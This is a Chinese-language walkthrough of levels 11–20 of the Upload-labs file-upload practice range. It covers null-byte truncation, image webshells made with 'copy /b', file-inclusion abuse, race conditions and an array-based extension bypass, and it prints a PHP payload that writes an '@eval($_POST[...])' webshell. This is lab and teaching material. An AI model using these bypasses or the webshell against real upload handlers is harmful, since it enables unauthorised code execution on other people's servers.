1. 程式人生 > 其它 >Upload-labs 檔案上傳靶場通關攻略(下)

Upload-labs 檔案上傳靶場通關攻略(下)

Upload-Labs靶場攻略(下)

Pass-11

GET型傳參,上傳目錄可設定,考慮00截斷,在/upload/後新增1.php%00,即可上傳

Pass-12

POST型傳參,上傳目錄可設定,POST型會不會進行URL編碼,所以在/upload/後新增1.php%00,並且將%00用URL進行編碼。編碼後為空白符號,即可上傳

Pass-13

檔案包含,上傳圖片碼1.jpg,利用檔案包含將JPG內容當作PHP進行解析

生成圖片碼命令

copy 1.jpg /b + 1.php /a 2.jpg

192.168.28.128/uploadlab/include.php?file=upload/1420210717064745.png

Pass-14

同第13關

Pass-15

同14關

Pass-16

二次渲染,依舊上傳圖片碼,找到未被渲染的位置,用C32將一句話木馬插入。依舊上傳,採用檔案包含即可。

Pass-17

條件競爭,伺服器端將上傳的檔案進行先儲存再判斷,如果正確則重新命名,否則刪除。

通過爆破持續上傳,然後通過訪問,生成新的木馬檔案。

上傳的木馬如下:

<?php fputs(fopen('webshell.php','w'),'<?php @eval($_POST[123]) ?>’);
?>

上傳後進行爆破訪問,生成webshell.php即為後門檔案

Pass-18

圖片馬加條件競爭,先上傳圖片馬,然後通過檔案包含訪問圖片馬,生產Webshell檔案

Pass-19

%00截斷,方法同Pass-12

Pass-20

進行程式碼審計,類似CTF

MIME首先得是image/png、image/gif、image/jpg

   if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

會根據.將$file先轉化為小寫再打散成陣列。

     $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上傳該字尾檔案!";
        }

會對陣列中最後一個值進行判斷是否是jpg,png,gif結尾

            $file_name = reset($file) . '.' . $file[count($file) - 1];

將陣列的第一個值和倒數第二個值進行拼接。

所以我們考慮陣列的最後一個值必須是jpg,第一個和第二個值還需要再考慮

   if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "檔案上傳成功!";
                $is_upload = true;
            } 

這邊可以看到將臨時檔案儲存再img_path,所以img_path其實可以根據傳入的save_name[]陣列進行操控。

而move_uploaded_file在執行的時候會忽略末尾的/.,所以根據拼接

save_name[0]=web.php/

save_name[1]為空

save_name[2]=jpg

注意POST上傳改包的資料包型式即可。

總結:檔案上傳的種類和手法:

1.前端JS驗證:禁用JS,Burp抓包修改

2.只檢查Content-type,修改MIME

3.黑名單繞過:爆破尾綴

4.系統配置檔案重寫,.htaccess,.nginx

5.大小寫繞過、尾綴新增點,空格,下劃線繞過,新增::$DATA

6.過濾敏感詞彙使用雙寫繞過

7.上傳目錄可控可以使用00截斷,GET傳參不需要編碼,POST需要進行編碼成為空白

8.存在檔案包含漏洞可上傳圖片馬,進行包含

9.條件競爭是伺服器處理上的邏輯漏洞,需要爆破上傳和爆破訪問

10.程式碼審計需要理清楚一步一步的上傳邏輯